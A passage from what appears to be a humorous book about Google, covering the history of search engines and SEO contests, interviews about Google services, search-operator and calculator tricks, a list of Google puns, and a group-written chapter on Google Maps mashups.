This approach is fun if you want to visually explore a site, and you are
not interested in any particular content on that site. However, you can
still combine the site search with an additional keyword. A search for
site:cnn.com clinton would therefore show CNN’s images of President Bill
Clinton, or images related to him.
Want to try this out on a site a little more fun than CNN? I suggest
you enter the following for thousands of riveting photo illusions:
site:worth1000.com
7. A Brief History of Googlesport
25
7. A Brief History of Googlesport
It may be that all games are silly. But then, so are humans.
– Robert Lynd
People today often participate in a challenge called “Search Engine
Optimization contests.” In a nut-shell, the goal of these contests is to
get to be the top ranked page in the Google search results for a given
term or phrase. In order to not disturb “normal” search results,
contests often take nonsensical words as their target. While in the
beginning I was often taking part in these contests myself, after many
lessons learned (including a contest for the nonsense phrase “Seraphim
Proudleduck”) today I do not participate in them anymore. But before
we jump into the history of search engine optimization contests, let’s go
back several thousand years and start recapping the history of search
engines themselves.
B.C-1956: The Dawn of Computing
Before Christ, there was the counting aid Abacus. Some centuries later,
in 1642, Blaise Pascal builds a mechanical calculator. Around 1820,
Charles Babbage follows-up with his steam-powered Difference
Engine, and Countess of Lovelace Augusta Ada Byron is pondering
programming it after having met him.
The first computer (a programmable calculator) by German engineer
Konrad Zuse is completed in 1941.
Britain and USA take over the computing technology field with
Colossus, ENIAC, the transistor (by Bell Telephone), and UNIVAC –
the “Universal Automatic Computer.”
1957-1990: The Internet
In 1957, ARPA (the Advanced Research Projects Agency, within the
Department of Defense, DoD) is created to foster US technology.
Some ten years later, DARPA marks the beginnings of the Internet.
Intel is founded in ‘68, Doug Engelbart spends time show-casing his
revolutionary ideas of word processing, and a year later, Xerox creates
the equally revolutionary think tank PARC, the Palo Alto Research
Center. Universities are slowly being connected together via
ARPANET in 1969. In 1977, Apple II is born, followed by the IBM
55 Ways to Have Fun With Google
26
PC in ‘81. 1984, the year of cyberpunk novel Neuromancer, sees the
introduction of the Domain Name System (DNS).
In the late ‘80s, the number of Internet hosts breaks 100,000, and
people are starting to get lost. In 1990, before the days of the World
Wide Web, McGill University student Alan Emtage creates FTP
indexing search tool Archie. One year later, Mark McCahill introduces
the alternative Gopher. Veronica (Archie’s girlfriend in the comic
books, and the “grandmother of search engines”) appears on the scene
in 1992, spidering Gopherspace texts, and Jughead arrives in ‘93.
1990-1993: WWW, and WWWW
In the meantime, the World Wide Web, created by Tim Berners-Lee
and released by CERN (the European Organization for Nuclear
Research) in ‘91, is starting to take off. And 1993, the year the first web
browser Mosaic takes the world by storm, also sees the first acclaimed
web robot, Matthew Gray’s World Wide Web Wanderer. Martijn Koster
announces meta-tag spidering Aliweb in late ‘93.
1994: Search Engines See the Light
The World Wide Web is becoming the most important internet service.
Pizza can be ordered online, and soon Sun will give birth to Java
programming technology. (The Java motto was “write once, run
everywhere,” but frustrated programmers around the world later
changed it to “write once, debug everywhere.”)
In early 1994, Jerry Yang and David Filo of Stanford University start
Yahoo! in an attempt to exert some kind of order on an otherwise
anarchic collection of documents. (The word Yahoo is short for "Yet
Another Hierarchical Officious Oracle," but was pretty much looked
up randomly in a dictionary by the two Yahoo founders – the two
creators say they liked the name because they considered themselves
yahoos.)
Some months later in Washington, Brian Pinkerton’s WebCrawler is
getting about its work; over at Carnegie Melon, Dr. Michael Maldin
creates Lycos (the name comes from the Latin wolf spider).
7. A Brief History of Googlesport
27
1995-1997: Dot-Com Rising
More and more search engines appear. There’s Metacrawler, Excite (in
late 1995), AltaVista (late 1995), Inktomi/ HotBot (mid-1996), Ask
Jeeves and GoTo. Yahoo, actually a directory, is the leader, but
AltaVista – meaning “a view from above,” and being a wordplay on
(Palo) Alto-Vista – launched in 1995 and brought some fierce
competition. In 1997 AltaVista was bought by Compaq and we have
some right to assume this and a resulting lost focus brought its
downfall.
1998-2002: Google et al
It’s late 1998. Stanford’s Larry Page and Sergey Brin reinvent search
ranking technology with their paper “The Anatomy of a Large-Scale
Hypertextual Web Search Engine” and start what some time later
becomes the most successful search engine in the world: Google (Larry
misspells “Googol,” which is a really large number, and Sergey draws
the colorful logo on his own using the free GIMP painting software).
The uncluttered interface, speed and search result relevancy were
cornerstones in winning the tech-savvy people, who were later
followed by pretty much everyone looking for something online. Other
contenders, like MSN, are left in the dust. In September 1999, Google
leaves Beta.
Search engine optimization in the meantime becomes a bigger and
bigger business, with experts and amateurs alike trying to boost
rankings of websites, more often than not for commercial reasons.
In 2000, Yahoo and Google become partners (Yahoo is using Google’s
search technology on their own site for a while). In late 2000, Google
is handling over 100 million daily search requests.
In 2001, AskJeeves (which dropped the “Jeeves” in the meantime)
acquires Teoma, and GoTo is renamed to Overture.
2003-Now: The Dawn of Search Engine Contests
It’s hard to tell which search engine contest truly was first. People have
been competing to get on top of search results for commercial reasons
pretty much since the invention of search engines, and the employed
tactics are called “Search Engine Optimization.” But so-called “SEO
contests” are created mostly to have fun, and to shed more light on
Google’s ranking secrets – and potential methods for abusing those
55 Ways to Have Fun With Google
28
rankings. At times, there were also prizes up for grabs during the
contests. Some of those even got handed over to the winner (not all,
mind you – it’s a fun sport in a shady environment!).
Today, there are so many different SEO contests going on at any given
time it’s hard to keep track of them all. I’ll list some of the first, some
of which I participated in myself with the weblog “Google
Blogoscoped.”
2004: SERPs
SERPs is short for “Search Engine Result Pages” (completely
coincidentally, it also means “State Earnings-Related Pension
Scheme”). It was the target keyword for a search engine optimization
contest. A group of people, myself included, started the challenge in a
search engine discussion group and came up with the term “SERPs”
on January 16, 2004. The term was both self-referential, which was
fun, and relatively harmless (presumably not a lot of people were
searching for it, as there were only 30,700 pages prior to the contest –
that may sound much, but it’s only about 1/10th the page count a
search for pink speaker manuals yields).
I started my own entry as a normal blog post in “Google
Blogoscoped,” wanting to see how it would fare in the contest (it was
pushed out of the top ten pretty soon). However the leading entry on
Google’s blogging community Blogspot was deserted by its owner,
Sam, and I was able to open up a site with the same name, thus sitting
on his top-ranked page now. Sam’s tactic (which included leaving a lot
of links in website guest-books, an approach rightfully deemed spam)
made his page the winner on February 16th, 2004.
Kebapgraz
The “Kebapgraz” SEO competition owes its name to “Döner Kebap,”
a Turkish dish popular in Germany and Austria, and the Austrian city
Graz. Most of the participants of this challenge were from Germany
or Austria, using German-language pages. The contest started on June
16, 2004, as a follow-up to a previous challenge for
“Haltezeitmessungen.” Linkfarms (a large group of interlinked
websites trying to increase their Google PageRank) or other kind of
spam were not allowed in this contest. The end date was September
10, 2004, and the amount of web pagescontaining the word went from
0 to 167,000 later on. A German wiki entry (a wiki usually is a
7. A Brief History of Googlesport
29
encyclopedia-style website which everyone can help edit) was inhibiting
the top rank for almost all the time, only to be pushed to number two
in a 24 hour period starting shortly before the end date.
The contest was started by David Reisner, aged 17, from Austria. “One
day I thought, there are some funny contests going on, but there was
no Kebap on the web” David said. I asked him for lessons learned, and
he answered one should think about the exact competition rules
beforehand to avoid some longer fights he’s been through. He added:
“In SEO there is a nice tip: give and you will be given, be it advice,
links or content.”
Schnitzelmitkartoffelsalat and Gepardenforellen
Yet another German-language Google contest was the hunt for
“Schnitzelmitkartoffelsalat” (which translates to steak with potato salad).
It was started by Steffi Abel on November 15, 2002, in a German
discussion group. At that time the word Schnitzelmitkartoffelsalat did not
return any pages in Google. More than three years later, 22,000
occurrences can be found. According to German webmaster Lars
Kasper, who covered the challenge on his website, variations of the
Schnitzelmitkartoffelsalat challenge included the nonsense words
“Telefondesinfizierstudium” (the study of phone desinfection) and
“Walnichtfischmitkartoffelsalat” (whale, not fish, with potato salad).
Some time later, German Googlesport really took off with the creation
of the “Hommingberger Gepardenforelle” contest (“Gepardenforelle”
translates to “Homminghill leopard trout”). It was launched by
Germany’s biggest IT magazines (on- and offline) and the two
keywords today return almost 3 million web pages.
Mangeur de Cigogne
And then, there was a French Googlesport contest for the phrase
“Mangeur de Cigogne.” Launched by Promo-Web, the games began in
March 2004, and were to be ended in June 15 2004. This might have
been one of the weirdest and most obsessive of all search engine
optimization contests. And naturally, because most content was
French, you couldn’t understand a word of what happened unless you
were fluid in this language.
So what does “Mangeur de Cigogne” mean? It literally translates to
“eaters of stork.” But, according to Jerome Chesnot from the south of
55 Ways to Have Fun With Google
30
France, “It means nothing really. This string was chosen to not pollute
Google results.”
Jerome held the 1st place in this competition for the 15 last days, but
then came in second. He told me Mangeur de Cigogne was “really a good
experience ... in terms of HTML optimization and other technical
things.”
Nigritude Ultramarine
“Nigritude Ultramarine” was arguably the biggest SEO contest that
ever took place. It received enormous coverage including articles on
Wired.com and tech site Slashdot. The competition was started by
SEO company DarkBlue (hence the name “Nigritude Ultramarine,”
which is another way to say “dark blue”).
Blogger Anil Dash nearly won the top rank in the first round ending
June 7, 2004 with a blog entry (the second round prize, a 17” LCD flat
screen, went to the aggressive contenders of a web discussion forum).
Anil’s post was linked from various other high-profile blogs who
wanted to push a friend up the Google rankings. Anil wanted to prove
that good old content – as opposed to sleazy optimization tactics – is
king, and he was successful in doing so.
As I’m writing this, there are around 215,000 web pages containing the
phrase “Nigritude Ultramarine.” Anil Dash is still number one.
A Short Guide to SEO
So how do you win these search engine optimization contests in the
first place? This depends on the search engine, but for Google, heavy
“on-page” optimization is futile in a competitive environment, and all
depends on “off-page” optimization.
To explain, “on-page” optimization means you create a page which
repeats the target keywords in a variety of places, in the meta keywords,
in the title, in page headings and so on. What you do on your page
might have an effect on the human reader – which is indeed important
– but it’s of little value to the Googlebot and the way Google ranks
your site. For competitive keywords, all that Google is interested in is
this: how many important pages link to your page using the target keywords as link
text?
7. A Brief History of Googlesport
31
If you can get a lot of valuable “backlinks” from authoritative web
pages (say, a mainstream news site, or a #1 blog for an industry), then a
high ranking will come naturally. So, the real key is to get good
backlinks (ideally links containing the target keywords). Not necessarily
1000s of them; it’s of more value to get a dozen high-value backlinks,
then a million low-value backlinks. For example, Google pretty much
ignores it when you create 100,000 backlinks from your website A
which point to your website B (and creating such a huge amount of
links is not too hard with the help of server-side programming). Google
understands that such “close-knit” networks aren’t showing natural
authority – they might easily be faked by so-called spam farms… and
spamming is one thing Google in their rankings try to avoid.
Now how do you get all those links from others? Here, we need to
forget about technical optimization for a second. What’s important now
is to have great web page content, and to make it be known to the right
people – not by mass-mailing everyone and their dog, but by submitting
your link to blogs on the subject, emailing the right people, pitching
your story to mainstream news sites, or sharing it in newsgroups or web
forums relevant to your site. Outside of an SEO competition, that
means you need to understand a community, be part of it, and help
others. People won’t link to boring and perhaps over-optimized pages,
but people will link to pages that help them (or make them laugh). They
link to a tutorial, a good read, a funny video, a cartoon, or an interesting
photo. Within the scope of an SEO competition, it’s also likely that
people simply link to a friend. If you’re actively participating in making
the web a better place for all (content is king!), you’ll also be getting
your share of “link love.”
55 Ways to Have Fun With Google
32
8. What is Google, and what do people
consider fun about it?
(Image courtesy of Elwyn Jenkins. © 2003 Verity Intellectual Properties Pty Ltd.)
Google is more than just the search engine. Even though that alone
wouldn’t be too bad, either, because it allows us to quickly receive
answers from the web to almost any question asked. Today while I’m
writing this book, Google consists of dozens of services
(google.com/sitemap.html). Some you may have heard of, like Gmail, or
Google Maps. Others are more obscure, like Google Base, Google
Page Creator, Google Writely or Google X, and even Google experts
can have a hard time keeping track.
To understand what people know of Google – and what they think is
fun about it – I asked my sister Judith about the different services.
Afterwards, I asked UK programmer and Google expert Tony Ruscoe
(ruscoe.net/blog/) about these services. Both were urged to take a guess
in case they were clueless about the answer. Well, who’s right then? I
won’t judge, but instead will let you read their answers now!
8. What is Google, and what do people consider fun about it?
33
Asking a Google Novice
Judith, what is Google Talk?
Judith: I believe that’s a text to speech program to read out things for
you.
What is Google Earth?
Judith: I know that one! You can view the whole globe from above. You
can zoom close into every country.
What is Picasa?
Judith: That’s a fun drawing program to create Picasso-like paintings.
What is Gmail?
Judith: That’s an email client.
What are the Google Labs?
Judith: That’s a place to propose interesting ideas for Google to add to
their products. The suggestions are filtered by Google engineers and
finally, they will be implemented.
What is Google Maps?
Judith: I don’t have a clue.
What is Google Scholar?
Judith: Google for students, without any adult websites.
What is Google Video?
Judith: That’s a search engine, similar to an image search, but for videos
instead.
What is Google Images?
Judith: The same like a search engine for words, but with images.
What is Google Answers?
Judith: That’s a place where you can ask questions for other people to
answer. If the answer is right, those who answered will get money.
What is Google Catalogs?
Judith: You can see pages taken from catalogs, for example when you
enter “teddy bear,” you will see catalog pages containing teddy bears.
What is Froogle?
Judith: That could be a parody site acting just like Google... no matter
what you enter, all you get are results containing images of frogs.
What are Google Alerts?
55 Ways to Have Fun With Google
34
Judith: That’s when Google sees you are searching for illegal material
online and you click on one of the result pages. This can have legal
consequences.
What is Google Blogger?
Judith: That’s a weblog community run by Google.
What is Google Desktop?
Judith: That’s like Microsoft Windows but made by Google. E.g. it
contains a word processor.
What are Google Groups?
Judith: Those are chat rooms on any conceivable topic. You can login to
talk.
What is Google X?
Judith: I have no idea! Well, I suppose it’s a kind of Google-related
riddle or puzzle game.
What do you think is fun about Google?
Judith: Searching for people. That’s nothing particularly special or
uncommon, but it satisfies your curiosity about someone you want to
know more about.
Asking a Google Expert
Tony, what is Picasa?
Tony: It’s a photo management/ organization application. You can
download a program that allows you to manipulate your images.
What is Google Talk?
Tony: It’s an IM – Instant Messenger – application that allows online
conversations and VoIP, Voice over IP.
What is Google Earth?
Tony: It’s fantastic! I’ve told my friends that it’s arguably the best thing
to appear on the Internet this year! Seriously though, it’s a program that
allows you view the earth from space. You can zoom in and view certain
areas really close up.
What is Google Labs?
Tony: In my view, Google Labs isn’t really a service as such. It’s simply a
name they give to many new releases that don’t quite make it to Beta. It
8. What is Google, and what do people consider fun about it?
35
often consists of smaller projects that some of the Google Employees
create in their 20% time.
What is Google Local?
Tony: It’s pretty much like an online service directory, like the Yellow
Pages. In fact, Google Local UK uses Yell.com for its results, I think.
It’s recently been integrated with Google Maps so that it’s easier to see
where the businesses are located.
What is Google Scholar?
Tony: It’s an online search that searches educational papers and theses,
things like that.
What is Google Video?
Tony: It’s a video search that searches for videos that have been
uploaded by the public or by a number of different associations who
have agreed to let their content be available for free. I think it only
searches the description or transcript that’s been provided by the user.
What is Google Answers?
Tony: Google Answers is an “ask the expert” service where you can
submit a question, name your price and, hopefully, get an answer from
an expert in the field.
What is Froogle?
Tony: It’s an online price comparison service to help you with your
online shopping.
What are Google Alerts?
Tony: Basically, Google will send you an email whenever something new
appears in the Google web results or Google News.
What is Google Desktop?
Tony: Google Desktop started off as a desktop application – Google
Desktop Search – that enabled you to search your PC for information. I
think it’s turned into something much bigger now, where you can add
your own bits to it. I’ve never used it.
What are Google Groups?
Tony: Google Groups encapsulates Usenet groups as well as Usenetstyle
groups that have been created by Google Account owners. They
are basically discussion forums/ mailing-lists.
What was Google X?
Tony: I think it was a service similar to the existing home page that used
a Mac OS X style interface. It appeared in Google Labs but then
55 Ways to Have Fun With Google
36
disappeared. Presumably because of legal reasons... but we don’t know. I
never saw it, but I’ve seen some copies of it.
What is Google Base?
Tony: Good question. It seems to be everything! It’s an online
repository where people can upload practically any data that has a
structure. It can be used for storing things like recipes, people profiles
and classified ads. So you can advertise anything you might have for sale
– although there’s no way to take payment via Google Base at the
moment. In short, it’s an online database application.
What is Google Analytics?
Tony: It’s a web stats analysis application. You place some JavaScript in
your website which then collects data from your visitors using cookies.
Google Analytics takes all this data and analyzes it, creating graphs and
reports about your visitors’ trends.
What is Google Sets?
Tony: It’s in Google Labs. I looked at it a long time ago so I’ve
forgotten exactly what it does! I think it’s a service that lets you provide
several items – up to five, I think – and Google will suggest some more
items that are in the same group.
What do you think is fun about Google?
There are a lot of things that make Google fun. It can be used to settle
the most basic of arguments. We often use it in the office when we
don’t believe what someone is saying. We run the risk of being fooled by
the “If it appears on Google, it’s true!” rule!
Their services are always interesting. Waiting for a new service can be
exciting. It gets people talking...
Very often, the services aren’t ground-breaking – but the way Google
present them is. Take Gmail and Google Maps. These types of services
had been around for years, yet all of a sudden you could just sit and play
with Google Maps for hours!
9. How Much Time Google Saves Us
37
9. How Much Time Google Saves Us
We might forget how much fun a search engine is, and how much time
it saves us in doing everyday things, until the internet connection is
interrupted and we’re left without Google. (Or, and this happens more
rarely, when Google itself is down.) But usually after some minutes,
things are back to normal – and we got our extended memory, our
library of more books we could ever read, our information center, and
our universal answer machine. And now, for just a moment, I would
like you to imagine what today’s life would be without all that. What life
would be without Google... and how much more time we’d be
spending on solving our problems.
Finding Your Lost Keys
With Google: You enter “How to find lost keys” into Google, and the
pages you find suggest to search every place again. Time spent: 10
minutes.
Without Google: You search your rooms. You start to get angry, then
desperate. You search for a second time, and find your keys. Time spent:
10 minutes.
Time saved using Google: none.
Opening a Coconut
55 Ways to Have Fun With Google
38
With Google: You search for “How to open a coconut.” A video
tutorial explains you should hold a coconut over a bowl, and use the
blunt side of a cleaver to whack the coconut until it cracks open in two
halves. Time spent: 5 minutes.
Without Google: You ask your neighbor, and she tells you she doesn’t
know either, but invites you to check her cookbooks collection. On
that day, you fall in love with her, and she with you. You discover the
solution to the coconut problem in her books the next morning. Time
spent: 1 day.
Time saved using Google: around 1 day, but love life suffers.
Checking If Tonight’s Date Is Trustworthy
With Google: You enter “Frank Simmonz” into Google. His criminal
records turn up, and you stay away from him. Time spent: 5 minutes.
Without Google: You meet Frank Simmonz. He seems to be a nice
guy, not poor either, and he’s elegantly dressed. You meet him again at
a restaurant a week later. Another week after that, you notice Frank has
blood on his shirt but you try to not mention it. Later, while you two
watch a mafia movie together, Frank says, “People in that business talk
differently, and I should know!” You leave the cinema in a hurry. Time
spent: 2 weeks.
Time saved using Google: 1 week, 6 days, 23 hours, and 55 minutes.
Creating a Revolutionary Method of Transportation
With Google: You enter “how to speed up transportation” into
Google and stumble upon a tutorial on wheels construction. Time spent:
1 minute.
Without Google: You go out and watch nature. You also analyze
people, and animals, trying to figure out how and why they move. You
make sketches, you observe, and you remain patient. You dabble with
rocks, wood, and water. You teach your children about what you
learned during your lifetime, sparking their curiosity. After that, your
children take over the task you began and try finding a revolutionary
9. How Much Time Google Saves Us
39
method of transportation. And their children, too. The idea spreads to
neighbors, friends and family, and it spans generations.
Then, a whole culture becomes infested with the problem, and
everyone everywhere is trying to crack their head solving it. Many,
many years later, the wheel is invented. Time spent: 12,600 years.
Time saved using Google: Around 12,600 years, give or take a minute.
55 Ways to Have Fun With Google
40
10. Google Cookin’ a Lemon Chicken
Tara Calishain is the author of an online search journal called
ResearchBuzz, and she’s also the co-author of the fun book “Google
Hacks.” On her website, she shows off a tool (www.55fun.com/10) that
helps you cooking with Google. That’s right – all you need to do is
enter a couple of ingredients, and you will get fitting recipes. Tara told
me she’s not a very good cook and uses this tool to explore new ways
to combine the contents of her fridge.
Let’s try this by entering chicken lemon, and hitting the “Grab a recipe”
button. You will now be referred to a Google result page with different
pages containing recipes. The actual search query that is being used is
the following:
chicken lemon (inurl:allrecipes.com | inurl:epicurious | inurl:recipesource | site:cooking.com |
inurl:Recipezaar )
To explain, the “inurl” operator means that only pages which have this
text in their web address appear in the result, like “AllRecipes.com.”
The “|” operator means “or” (either the ingredients will be on
AllRecipes.com, or they will be found on Cooking.com, or ...). The words
“chicken” and “lemon” must be included, because by default Google
uses the “and” operator.
So what do we get to cook then with these two ingredients? Quite a lot
actually, as nearly 2 million recipes have been found! I’ll pick the first
one, “Roast Chicken With Lemon and Thyme.” This is the full
ingredients list, and you can see it indeed contains chicken and lemon:
3 tablespoons minced fresh thyme
2 tablespoons extra-virgin olive oil
5 garlic cloves, chopped
2 teaspoons grated lemon peel
1 7-pound roasting chicken
1 lemon, quartered
1/4 cup dry white wine
1 cup (about) canned low-salt chicken broth
2 teaspoons all purpose flour
11. Douglas Adams and the Google Calculator
41
11. Douglas Adams and the Google Calculator
The Google calculator is included in Google.com’s normal web search.
So instead of entering words you want to find in web pages, you can
simply enter math queries like the following:
10 + 7 * 3 – 12
The Google result will then display the solution: “10 + (7 * 3) - 12 =
19.” That’s already a little more fun than using a normal calculator (and
incredibly helpful too, at times), but there’s much more to it. Let’s start
with an Easter Egg – a hidden function within a program that makes it
do something unexpected and interesting – and enter the following:
answer to life, the universe and everything
Entering this will result in the Google calculator showing you the
answer “42.” This is a reference to a mythical number from Douglas
Adams’ sci-fi opera “The Hitchhiker’s Guide to the Galaxy.” I won’t
spoil its meaning here, but instead suggest you simply read this great
book (or, watch the movie). This isn’t the only connection between
Google and Douglas Adams, by the way. Completely coincidentally, the
word “Googleplex” – the name the Google employees gave their
California headquarters – appeared in the Hitchhiker’s Guide:
“And are you not,” said Fook leaning anxiously forward, “a
greater analyst than the Googleplex Star Thinker in the
Seventh Galaxy of Light and Ingenuity which can calculate
the trajectory of every single dust particle throughout a
five-week Dangrabad Beta sand blizzard?”
The calculator fun doesn’t stop there. The following are just some
more examples of what’s possible, and often these different queries
can be combined to larger formulas:
seconds in a year (result: 31,556,926 seconds)
15 USD in EUR (12.74 Euro)
120 pounds * 2000 feet in Calories (77.77 kilocalories)
furlongs per fortnight (0.000166309524 m / s)
speed of light in knots (582,749,918 knots)
55 Ways to Have Fun With Google
42
12. Oops, I Googled Again
Brian Mingus and a bunch of his friends were sitting together one
evening, and after a few glasses of Italian wine, decided to write up a
giant list of catch-phrases, movie titles, proverbs and random quotes...
which all had to include the word “Google.” Here’s the list1... can you
guess all the sources?
How many Googles must a man walk down?
Googlemorgen America
Thus quothe the raven, “Google more!”
Wherefore art thou, Google
Google and prejudice
Once upon a midnight dreary, while I Googled weak and weary
I am a Googlevangelist
Googles up, hang ten!
Google is the dictator that everyone loves
You can’t spell God without Google
Stairway to Google
Dude, where’s my Google?
Got Google?
We are all Googlers under Google
In the beginning, there was Google
I Google, therefore I am
It was the best of Googles, it was the worst of Googles
All my kingdom for a Googler
Peace, Love, and Google
All you need is Google
Google like it’s 1999
The Google at the end of the rainbow
We’ve found a witch! Can we Google her?
The Googler on the roof
One flew over the Googlenest
Why can’t the English teach their children how to Google
We are the knights who say Google
Google spoke Zarathustra
That’s why the Google is a tramp
Murder she Googled
Save the last Google for me
There’s not enough Google in this town for the both of us
I’ll Google you on the flip-side
The Scarlett Google
The Purloined Google
“Googligans Island”
All my Googles
12. Oops, I Googled Again
43
The Googlebury Tales
Google and the Beast
A Midsummer Nights’ Google
20,000 Googles Under the Sea
Something Googled this way comes
Google to the death!
You smell like a Google...and you look like one too
I dream of Google
Google it again Sam
Uncle Google wants you!
To Google Times
Out of the Google and into the fire!
Don’t throw the Google out with the bathwater
Bad Brian, you must say 20 hail Googles!
Bless those who Google you
Google, the final frontier
Google, interrupted
Gone with the Google
I can’t get no Googlefaction
Saturday night Google
DONOTTHINKABOUTAPINKGOOGLE
You Google my name, and you know wherever I am.
Jack, I’m Googling!
I’m Gooooogling in the rain
Google outside the box
Beyond Google and evil
Do you know where your Google is?
Dr. Strangelove, or how I learned to stop worrying and love the Google
Murder by Google
To Google or not to Google.
To sleep, perchance to Google!
My name is Google, you killed my father.
It’s a bird, it’s a plane, it’s Google!
And they Googled happily ever after
Do you promise to love, honor, and Google, until death do you part?
The lone Googler
Big Google is watching you
Google the man!
The first rule of Google is not to talk about Google
Gone with the Google
Frankly my dear, I don’t give a Google!
Googleblanca
Love in the time of Google
War and Google
Googleonia
The west side Google
Larry, Moe, and Google
Give me Google or give me death!
Four Googles and 20 years ago
Googletrek, the next generation
Googlescene investigation
Red, white, and Google
Google Potter
How many Googles does it take to turn into a lightbulb?
55 Ways to Have Fun With Google
44
I was lost, but now am Googled
Not a creature was Googling, not even a mouse
Do the Googlewoogy
And I took the road less Googled, and that has made all the difference
The Googler’s Guide to the Galaxy
So long, and thanks for all the Google
Google No. 5
Return of the Google
Do the hokey pokey, and Google all around
Abandon all hope, all ye who Google here
A Google in the Dark
The Google that roared
Google on the Oriental Express
Googlecalifragilisticexpialidocious
You can’t have your Google and eat it to
If I was the last man on earth, would you Google me?
Saved by the Google
Hand over the Google and nobody gets hurt
Google is my co-pilot
Sometimes a Google is just a Google
Do not meddle in the affairs of Googlers
Gooogle, taste the rainbow
Have you hugged your Google today?
Wake up and smell the Google
Here’s a quarter; Google someone who cares
No shirt, no Google, no service
I know its only Google but I like it
If it feels good Google it
Advanced whitening Google
Keep your Googles to yourself
I think I Googled my pants
Put a Google on your face
The Googlepride Googleparade
USS Google, departing
Googlers of the world unite
Stop Googling your nose
Never underestimate the power of Google
Your Google is so soft!
Friends don’t let friends Google drunk
Do you have a designated Googler?
Is that a Google in your pocket or are you just happy to see me?
The restaurant order slips these are written on are Googlebilia
All roads lead to Google
One Google, two Geegles
The Googleogical Argument
Girls giggle and boys Google
Frankly my dear, I don’t give a Google.
End Notes
1. Courtesy of Brian Mingus and friends. (2004). What would Jesus Google?
(www.55fun.com/12)
13. The Disappearing Google Logo, a Magic Trick
45
13. The Disappearing Google Logo, a Magic
Trick
Any sufficiently advanced technology is indistinguishable from magic.
– Arthur C. Clarke
Here’s a magic trick to surprise your friends with. What they will see is
this: you are at the Google homepage, and you casually ask someone to
watch the Google logo. Then, you move two of your fingers to
completely cover the “o”s in the Google logo. When you remove your
fingers, to much surprise, the letters “o” will be missing from the logo.
Now you ask your friend to move her fingers over the missing “o”s.
After your friend removes the fingers, the logo will be complete again!
The trick here? It’s not really the Google homepage you and your
friend are looking at – it’s a fake page (darkartsmedia.com/Google.html).
And when you click on the page, the letters of the logo will disappear
after five seconds. Clicking again will make them reappear after five
more seconds. So when you move your fingers to cover the Google
logo, simply click anywhere on the page, and wait a bit before you
remove your fingers… and when your friend covers the letters, you
click again. (A third click, by the way, will change the page to an actual
Google homepage so you can perform searches to “prove” the page is
real.)
55 Ways to Have Fun With Google
46
14. Fun With Google Maps, the Wiki Way
This chapter is a special one, because it wasn’t written by me. In fact, it wasn’t
written by any single person… instead, I created a wiki (a website anyone can edit)
and allowed for people to write this chapter. The topic was “Fun With Google
Maps” and the result is the group-authored text that follows!
Google Maps
Google introduced Google Maps in February 2005 to let users “view
maps, get driving directions, and search for local businesses and
services.” Instead of doing a multitude of things, Google Maps did
only one thing (but it did that one good): show you a near full-screen
map of the US – and later, other parts of the world – allowing you to
drag and drop the map (or search) to get to any location. Search for
pizza in chicago, and a couple of red pins mark the location. Clicking on
a pin reveals an info box with more details on what you can find at this
location.
Worldwide reach
Google Maps was originally different then Google Local, but they later
merged together.
14. Fun With Google Maps, the Wiki Way
47
When it first launched, Google Maps was limited to just the USA, but
other countries have been added to the fold, with the street level
mapping of the UK and Japan being uppermost.
...and I give you the Earth!
Increasingly, even the worldwide coverage of Google Maps is
insufficient for some people. Google also offers a standalone program,
Google Earth, which takes the experience to an even higher level.
By offering satellite and other aerial imagery as its basis (rather than
the pre-drawn maps of Google Maps), Google Earth has a far greater
wow factor when simply browsing the world. It does however offer
vector mapping as an overlay to the images, and allows for new data to
be added to the mix via an XML data-format called KML. Innovative
sites are making use of this to offer downloads of the data into
Google Earth.
Mashups galore
Ever wanted to find out where your taxi is in New York city, or what
the desert looks like from space? Anyone with a website, and a little
programming knowledge can create their own layer on top of Google
Maps. A genius move by Google, bring people in to use your maps,
without having to front any programming costs. The continuous
development depends on the public, just like this page.
In late June 2005, Google released its now famous API (application
programming interface). It has probably become one of the most
popular ones out there. Hundreds of websites are dedicated to creating
“mashups,” which mix Google Maps, through its API, with other kinds
of data to create websites that are sometimes informative, sometimes
entertaining, sometimes ridiculous, and always interesting.
One mashup, called Housing Maps (www.housingmaps.com), takes rental
listings from the popular classifieds site Craigslist and adds it to
Google Maps, taking a boring but useful text-based website and letting
you browse it through Google’s easier-to-navigate map technology.
Rather browsing and clicking Craigslist’s list of links, you just zoom in
on a neighborhood, see where the houses are, and pick one. You can
limit results by price, number of rooms, whether they accept dogs or
cats, and even see pictures of the place via a simple pop-up.
55 Ways to Have Fun With Google
48
The site’s creator, software engineer Paul Rademacher, launched the
site before Google formally announced its API, but the search giant
was so impressed with his work that it soon hired him away from
Dreamworks.
There are more mashups, such as Mapulator (www.mapulator.com). This
tool allows you to traceroute by IP address or host name to see the
path the packets take. You can run the trace from their server or from
your PC. It’s pretty slick, and has some settings you can tweak for
doing the traceroute. It can also do “whois” queries when you click on
one of the hops (to find out that hop’s IP). And if you just want to
know where any particular computer/server/IP is you can also type in
the IP or host name in their ping tool and find out if the host is up,
where it is, and get the “whois” record.
And then, if you’re the paranoid type, there’s Adrian Holovaty’s
brilliant Chicago crime map mashup at ChicagoCrime.org. It’s a “freely
browsable database of crimes reported in Chicago,” as the site claims.
You can select the type of crime you want to locate (like “armed
violence” or “assault”), as well as the date range it happened, and when
you click “update map,” a few dozen colored pins will appear. Clicking
on any pin reveals the details of the crime which was reported
happening in just that location.
And then, there was a Google Maps game of Risk. A clever idea, but
unfortunately game maker Hasbro didn’t think it was so great and sent
its creator a cease and desist. But the games don’t end there. Another
creative programmer by the name of Thomas Scott has created a
multi-player cooperative game called Tripods (thomasscott.net/tripods/) in
14. Fun With Google Maps, the Wiki Way
49
which users join together to protect Manhattan from the invading
Tripods.
You can use the New York On Tap bar and subway map
(newyorkontap.com/Subways.asp) to find great hotspots in the City That
Never Sleeps, and then, since you’ll be in no condition to drive, the
map also shows you the nearest subway station.
If you’re looking for a date, you can consult Hot or Not’s database
(hotmaps.frozenbear.com) and see the pictures of people who are hot (or
not) in your area… all put onto Google Maps.
Are you a runner? Or do you want to know how long your hike was
the other day? You can use the Gmaps Pedometer (gmap-pedometer.com)
to digitally retrace your steps, and there’s even the option to send a
permalink of your route to somebody else.
And saving you from a potentially embarrassing situation, there’s
Urinal.net (urinal.net/google_map.html), which will help you find a place to
do your business anywhere in the United States.
Goocam World Map (butterfat.net/goocam/) is a Google map of
unprotected/open camera streams obtained from Google searches,
mostly from Europe and US.
A more whimsical application is Santa Stars (www.santastars.com) which
plots Christmas Light displays worldwide and allows Internet surfers to
vote/comment on them.
Authors: Grimmthething, Nathan Weinberg, Omid Aladini, Mark Berry, Ryan
